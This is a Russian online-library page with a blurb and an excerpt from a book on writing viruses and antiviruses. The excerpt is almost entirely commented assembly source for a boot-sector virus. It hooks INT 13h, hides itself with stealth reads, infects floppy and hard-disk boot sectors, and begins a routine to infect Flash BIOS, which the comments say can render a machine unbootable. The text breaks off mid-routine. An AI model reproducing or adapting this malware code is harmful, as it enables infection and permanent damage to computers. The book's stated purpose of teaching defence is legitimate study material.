Игорь Гульев - Создаем вирус и антивирус
- Название:Создаем вирус и антивирус
- Автор:
- Жанр:
- Издательство:неизвестно
- Год:неизвестен
- ISBN:нет данных
- Рейтинг:
- Избранное:Добавить в избранное
-
Отзывы:
-
Ваша оценка:
Игорь Гульев - Создаем вирус и антивирус краткое содержание
Virus Warning!
С этим сообщением, хоть раз в жизни, сталкивался любой пользователь компьютера. Вирмейкеры с упорством маньяков плодят все новые и новые разновидности вирусов. Бытует мнение, что избавиться от них можно лишь с помощью сложных и дорогостоящих новейших антивирусных программ. Это не совсем верно – знание принципов действия и способов внедрения вирусов поможет вовремя их обнаружить и локализовать, даже если под рукой не окажется подходящей антивирусной «вакцины».
В этой книге вы найдете обширный материал, посвященный проблеме защиты информации, рассмотренной с обеих сторон баррикад (как от лица вирмейкера, так и создателя антивирусов).
Создаем вирус и антивирус - читать онлайн бесплатно ознакомительный отрывок
Интервал:
Закладка:
Исходный текст вируса, заражающего Flash BIOS.
;Вирус, заражающий Flash BIOS.
;Если на компьютере есть Flash BIOS, имеется шанс, что его могут
;серьезно испортить. Если BIOS изменится, это может привести
;к неприятностям. Нельзя будет загрузиться даже с ”чистой”
;дискеты. Зараженный чип в рабочее состояние не вернуть.
org 0
;При входе в boot−сектор DL=загрузочный диск
mov si,7C00h
;Установим 0000h в регистрах DS и ES
xor ax,ax
mov es,ax
mov ds,ax
;Установим значение стека 0000h:7C00h
cli
mov ss,ax
mov sp,si
sti
;Уменьшим на 1Кбайт память (0040h:0013h)
dec word ptr [0413h]
;Получим размер памяти (при возврате в AX)
int 12h
;Так как размер памяти указан в килобайтах (1024 байт), а нужно
;в параграфах (16 байт), умножим его на 64, что эквивалентно
;сдвигу на 6 разрядов влево
mov cl,6
shl ax,cl
;Установим новый сегмент вируса (вершина памяти)
mov es,ax
;Перенесем вирусный сектор в вершину памяти
xor di,di
mov cx,200h
cld
rep movsb
;Сохраним вектор прерывания INT 13h. Поскольку этот вирус
;загрузился до загрузки DOS, то прерывание INT 21h еще не
;работает – работаем с вектором прерывания прямо в таблице
mov ax,word ptr [13h*4]
mov word ptr es:[offset i13],ax
mov ax,word ptr [13h*4+2]
mov word ptr es:[offset i13+2],ax
;Установим новый вектор прерывания INT 13h
mov word ptr [13h*4],offset Handler
mov word ptr [13h*4+2],es
;Переходим в точку ES:Restart (в копии вируса,
;находящейся в вершине памяти)
already_resident:
push es
mov ax,offset Restart
push ax
retf
;С этого места программа работает уже в вершине памяти
Restart:
;Загружаем оригинальный boot−сектор из конца
;root directory и передаем ему управление.
;Сброс дисковой подсистемы (перед работой
;с дисковой подсистемой надо выполнить
;функцию 00h прерывания INT 13h)
xor ax,ax
call int13h
;Подготовим регистры для загрузки оригинального boot−сектора
xor ax,ax
mov es,ax ;Сегмент для загрузки
mov bx,7C00h ;Смещение для загрузки
mov cx,0002h ;Дорожка 0, сектор 2
xor dh,dh ;Головка 0
mov ax,0201h ;Функция 2, количество секторов 1
;Проверим диск, с которого грузимся. 80h и выше – жесткий диск,
;иначе – дискета. Копия оригинального boot−сектора хранится
;в разных местах: на жестком диске – дорожка 0, головка 0, сектор 2;
;на дискете – дорожка 0, головка 1, сектор 14
cmp dl,80h
jae MBR_Loader
;Грузимся с дискеты: изменим сектор и головку
mov cl,14 ;Сектор 14
mov dh,1 ;Головка 1
;Загрузим оригинальный boot−сектор по адресу 0000h:7C00h
MBR_Loader:
call int13h
;Сохраним в стеке номер диска, с которого грузимся
push dx
;Проверим, заражен ли Flash BIOS
cmp byte ptr cs:flash_done,1
je Flash_resident
;Заразим Flash BIOS
call flash_BIOS
;Восстановим из стека DX (номер загрузочного диска)
Flash_resident:
pop dx
;Запускаем оригинальный boot−сектор (JMP FAR 0000h:7C00h)
db 0EAh
dw 7C00h
dw 0
;Сюда попадаем, когда происходит чтение boot−сектора. Скрываем
;присутствие вируса методом чтения оригинального boot−сектора
Stealth:
;Установим значения сектора, где хранится копия оригинального
;boot−сектора
mov cx,02h
mov ax,0201h
;Проверим, откуда считан boot−сектор (дискета или жесткий диск),
;так как копии хранятся в разных местах
cmp dl,80h
jae hd_stealth
mov cl,14
mov dh,1
hd_stealth:
;Прочтем копию оригинального boot−сектора. Так как
;номера секторов подменены, фактически ”копия выдается
;за оригинал” – скрываем свое присутствие (Stealth).
call int13h
;Выходим из обработчика прерывания
jmp pop_exit
;Проверка наличия резидентного вируса – ответим:
;запрос INT 13h (AX=ABBAh), ответ AX=BAABh
res_test:
xchg ah,al
iret
;Обработчик прерывания INT 13h
Handler:
;Если при вызове в AX находится ABBAh,
;значит это проверка наличия резидентного вируса
cmp ax,0ABBAh
je res_test
;Перехватываем только функцию 02h (чтение сектора): проверяем
;номер функции. Если не 2, запускаем оригинальный обработчик
cmp ah,2
jne jend
;Проверяем номера дорожки и сектора, интересуясь только теми
;секторами, в которых может оказаться вирус –
;дорожка 0, головка 0, сектор 1
cmp cx,1
jne jend
;Проверим номер головки. Если не 0, то запустим
;оригинальный обработчик
cmp dh,0
jne jend
try_infect:
;Считаем сектор в буфер (для дальнейшей обработки).
;Для этого вызовем оригинальный INT 13h
call int13h
jc jend
;Сохраним регистры и флаги (обработчик не должен изменить их)
pushf
push ax
push bx
push cx
push dx
push si
push di
push es
push ds
;Проверяем, заражен ли данный диск вирусом: читаем сигнатуру.
;Если диск заражен, скрываем присутствие вируса
cmp word ptr es:[bx+offset marker],”LV”
je stealth
;Если диск не заражен, то заражаем: проверим, откуда загружен
;boot−сектор (с дискеты или с жесткого диска)
cmp dl,80h
jb infect_floppy
;Установим номера дорожки, головки и сектора для жесткого
;диска для сохранения оригинального boot−сектора
mov cx,2
xor dh,dh
jmp write_virus
Infect_Floppy:
;Установим номера дорожки, головки и сектора для дискеты
;для сохранения оригинального boot−сектора
mov cx,14
mov dh,1
Write_Virus:
;Записываем оригинальный boot−сектор
mov ax,0301h
call int13h
jc pop_exit
;Установим сегментный регистр ES на сегмент с вирусом
push cs
pop es
;Сбросим флаг зараженности Flash BIOS
mov byte ptr cs:flash_done,0
;Запишем тело вируса в boot−сектор
xor bx,bx
mov ax,0301h
mov cx,0001h
xor dh,dh
call int13h
;Восстановим регистры и флаги (как раз те их значения, которые
;свидетельствует о том, что boot−сектор только что считали)
Pop_Exit:
pop ds
pop es
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
;Выходим из обработчика в вызывающую программу
retf 2
;Запуск оригинального обработчика
jend:
DD 0EAh ;Код команды JMP FAR
;Оригинальный вектор INT13h
i13 DD 0
;Вызов прерывания INT 13h
Int13h proc near
pushf
call dword ptr cs:[i13]
ret
Int13h endp
;Первые два байта слова используются как сигнатура
Marker db ”VLAD”
;Эта подпрограмма заражает Flash BIOS
Flash_BIOS Proc Near
;Проверим наличие Flash BIOS
mov ax,0E000h
int 16h
jc no_flash_bios
cmp al,0FAh
jne no_flash_bios
;Сначала найдем хорошее место для хранения вируса.
;Просканируем память F000h−FFFFh, где обычно находится BIOS,
;на наличие области 1Кбайт нулей. Хватит даже 512 байт памяти,
;но выделить нужно с запасом
Infect_Flash:
;Установим начальный сегмент для поиска
mov ax,0F000h
mov ds,ax
;Проверим сегмент
New_segment:
;Установим стартовое смещение
xor si,si
;Установим счетчик найденных байт
;(величина свободного места для вируса)
xor dx,dx
ok_new_segment:
;Перейдем к следующему сегменту
inc ax
mov ds,ax
;Проверим, есть ли еще место для вируса
cmp ax,0FFF0h
je no_flash_BIOS
;Проверим, свободно ли место (для скорости проверяем словами)
Test16:
cmp word ptr [si],0
jne new_segment
;Увеличим счетчик размера найденного свободного места
inc dx
;Проверим, достаточно ли найденного места. Сравниваем с 1Кбайт,
но
;так как память сканируем словами, сравниваем с 512 (1Кбайт=512
слов)
cmp dx,512
je found_storage
;Увеличим смещение проверяемого байта
Читать дальшеИнтервал:
Закладка: